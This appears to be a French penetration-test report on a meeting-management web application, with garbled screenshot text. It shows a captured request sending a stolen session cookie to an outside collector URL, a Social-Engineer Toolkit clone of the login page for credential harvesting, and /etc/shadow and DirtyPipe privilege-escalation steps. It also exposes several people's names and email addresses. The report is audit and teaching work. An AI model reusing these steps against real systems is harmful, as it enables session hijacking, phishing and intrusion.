client_ip: 83.194.92.137
» headers {7}
method: GET
path: 7
» query {1}
url: http://eolbub226a26g4t.m.pipedream.net/?cookie=PHPSESSID=e8sr0170fmi5f3vivigpge567m
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Exploitation cas concret :

stBin - P

Kali Linux $ = s ums e\ Kali NetHunter

ROQTS5F7R ROOT

proposer

Meetup (création le 2024-04-05) Root5f7r root™* / z l@
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- CSRF (Cross Script Request Forgery)

s C @ O A 100.74.7.99/ 3¢
Fle Edt View Go Copture Analyze Statistics Telephony Wireless Tools Help ce O @ 100747.99
AD4A@ = B Qe>ne>@BEooo@ KaliLinux @ KaliTools = KaliDocs X Kali Forums % Kali NetHunter  Exploit-DB % Google Hacking DB /) OffSec

Rechercher [Réinitaliser
~ Protocol_Length Info

HITP. POST /controleur/pageAdnini: php HTTP

7controleur/pageAdnir Tous o| [Ficer

Retoura Gerer Mes Eventos

I S T N T N

Admin v Il inkevychd@etu univ-lor
188 Linkevych lia iia inkevychd@etu.univ-lorraine.fr et s Supprimer] [Voirses eventos
rangerlatble auvegarder

Admin v fins ferchach@gmalcom
Ferchach lliass lliass ferchach@gmail.com Supprimer| [ Voirses eventos
Changer e role Sauvegarder

noa.bouguerra3@etu univ- Admin v noa bouguerra3@ety.univ-or .
bouguerra noa i e m— Supprimer]| [ Voirses eventos

Utiisateur v del2547@gmaiLcom
Meyer Rodney idel2547@gmail.com - L Supprimer| [ Voirses eventos
Changer e role Ssuregarder

Utlisateur v yoniselhaoud@etuuniv-orr:
Sethaoui Yoni yoniselhaoui9@etu.univ-lorraine.fr Supprimer]  (Voirses eventos
Changer e rble Sauvegarder

[HTTP request 1/2] Utiisateur v yonisathaoui@gmai.com

Non Non -
enrogisad) | enregisré yonisehaoui@gmail.com g wra == Supprimer] (Voirses eventos

File Data: 59
L F

Non Non o Utiissteur v nosbous7@gmailcom
enregisté  enregisté noabous7@gmail.com = — Supprimer| [ Voirsos eventos

Admin v rokaS @univ-torraine.fr
Roka Zsuzsanna rokaS@univ-lorraine.fr Supprimer| [ Voirses eventos
Changer e role Ssuvegarder

Utisateur v [seri@gmaitcom
1 user1 @gmall.com upprimer | (Vo ses eventas
Userl User userl@omal.co Changerte rble Sawvegarder S L

Non Non Utiisateur v @gma
® B Hypertext Transfer Protocol (http), 575 bytes @ upprimer| [ Voirses eventos
i Lo emregiste  enregisye  Paricipaninexistant@gmail.com Changer e role Sauvegarder S ¥

Admin__~ ercblurgort@gmaitcom
lurgoff ric ericblurgoff@gmail.cor Supprimer] Voir sos eventos
Blurg & gofi@amal.com Changerte e Sauvegarder :

Maveri
TrustedSec
@HackingDave
https://www.trustedsec.com
Welcome to the Social-Engineer Toolkit (SET).
he one stop shop for all of your SE needs.

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www_trustedsec.com

https://github.com/trustedsec/ptf

Can't pickle local object 'show_banner.<locals>.pull_version’
Select from the menu:

1) Social-Engineering Attacks

2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

Exit the Social-Engineer Toolkit
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Aprés configuration d’'une NAT :

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL

IP address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesn’t know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perspective, it will not work. This isn't a SET issue
this is how networking works.

Enter the IP address for POST back in Harvester/Tabnabbing: 83.194.92.137:8080
SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com

set:webattack> Enter the url to clone: http://100.74.7.99/controleur/login.php

[*] Cloning the website: http://100.74.7.99/controleur/login.php
[*] This could take a little bit...

83.194.92.137 - - [05/Apr/2024 11:12:26] "GET / HTTP/1.1" 200 -
83.194.92.137 - - [05/Apr/2024 11 54] "GET / HTTP/1.1" 200 -
83.194.92.137 - - [05/Apr/2024 11:13:07] "GET /index.html HTTP/1.1" 200 -

Site en ligne :

Non sécurisé — 83.194.92.137

Managez vos réunions

Grace a cette application, les problémes d'organisation de vos réunions
deviendront du passé. Rejoignez-nous et organisez vos réunions de maniére a

satisfaire toutes vos convives.

Post Exploitation :

Si un attaquant parvient a brute force la connexion via SSH, il aura accés au fichier
/etc/passwd en lecture ainsi que le fichier /etc/shadow qui permettra donc de cracker le mot
de passe root en local (vitesse de calcul supérieur car aucune requéte n’est faite).
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imd64 #1 SMP Debian 5.10.148-1

GNU/Linux comes with ABSOLUTELY NO WARRANTY, to

824 from 172.19.17@
$ 1s ]
t root 1567 nv. ® Jetc/passwd

31,_1._

)/ pInV6:19760:0:99

M W=

=g TR = i T I )

[ = R T =T R |

(=]

2 D =

Recherche de droit sudoers (-s) mal configuré qui pourrait permettre une escalation de
privilége :

1jet12:~% find / -perm -u+s
fopenssh/ssh-keysign
s-1.08/dbus- daemon-launch- helper

usI blm mount

bln;umaunT
wd

Check de la version / kernel du serveur linux :

debianl@sujetl2:~$ uname -a
Linux sujetl2 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64 GNU/Linux

debiani@sujet12:~$ ]
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Recherche de faille + exploitation de la CVE-2022-0847 :

Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe)

EDB-ID: CVE: Author: Type: Platform: Date:
2022-0847 LANCE BIGGERSTAFF LOCAL LINUX

EDB Verified: x Exploit: ¥ / {} Vulnerable App:

debianlpsujeti2:

debianigsujeti2:
{ Lib/ 7

bin/mount

uid,nodev,noexec,relatime)
roc type proc (rw,nosuid,nodev,noexec,relatime)
ev type devtmpfs (rw,nosuid,relatime,si 9 <,nr_i
dev/pts type devpts (rw,nosuid,noexec,relatime,gi
un type tmpfs (rw,nosuid, ev,noexec,relatime,si
dev/sdal / type ext4 (rw,relatime,error
securityfs
tmpfs on
f dev,n c,relatime,s
oup2 (rw,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot

/pstore type ps e (rw,nosuid,nodev,no c,relatime)
pf type bpf (rw,n ec,relatime,mod )
s, binfmt_misc type auto (rw,relatime, fc ,pgrp=1, timeout=0,

mgueue o© xec,relatime)
hugetlbfs / s 2M)
osui 0 ec,relatime)
c,relatime)
<ec,relatime)
ev,noexec,relatime)
8k,nr_inodes:
tmpfs on T 20, uid=
1000,gid
‘binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime)

(dont forget to clean up / /sh ;))
not found
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Recommandations

Cette partie bonus reprend quelques unes de nos recommandations de base afin que vous
sécurisez davantage votre systéme d’information. Ces mesures vous permettront de limiter
le risque d’exploitation des failles découvertes lors de notre audit de sécurité et vous
garantissons un niveau de sécurisation plus optimal :

- Gardez votre systeme a jour.

- Sauvegardez régulierement vos données.

- Surveillez vos fichiers de log.

- Installez fail2ban pour limiter les risques de brute force.

- Redirigez le trafic du port 80 http vers le port 443 https.

- Installez un systéme d’authentification par clés ssh sur votre systéeme Debian.

- Interdisez la connexion ssh par mot de passe a votre systeme Debian.

- Configurez des content security policy (CSP) pour davantage contréler les saisies utilisateur.

- Changez le port ssh par défaut.
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Conclusion

Nous avons mené un audit de sécurité sur I'infrastructure de notre client comme convenu lors de la
signature du contrat. Ce document sert de synthese et vise a reprendre le déroulement du test de
pénétration s’étant déroulé du 2 au 5 Avril 2024 sur cette infrastructure. Nous avons suivi une
certaine méthodologie en commencant par une phase de récolte d’informations sur le systeme a
attaquer, puis en testant la résistance du dit systéme a diverses types de failles courantes. Enfin, nous
avons essayé d'exploiter ces failles afin de démontrer les effets qu’elles pourraient avoir sur le
systeme d’information de notre client ainsi que sur les services et données que ce systeme héberge.
Nous avons terminé ce document en donnant quelques conseils de sécurisation a notre client, qui
permettront de limiter les risques d’exploitation des failles que nous avons découvertes.
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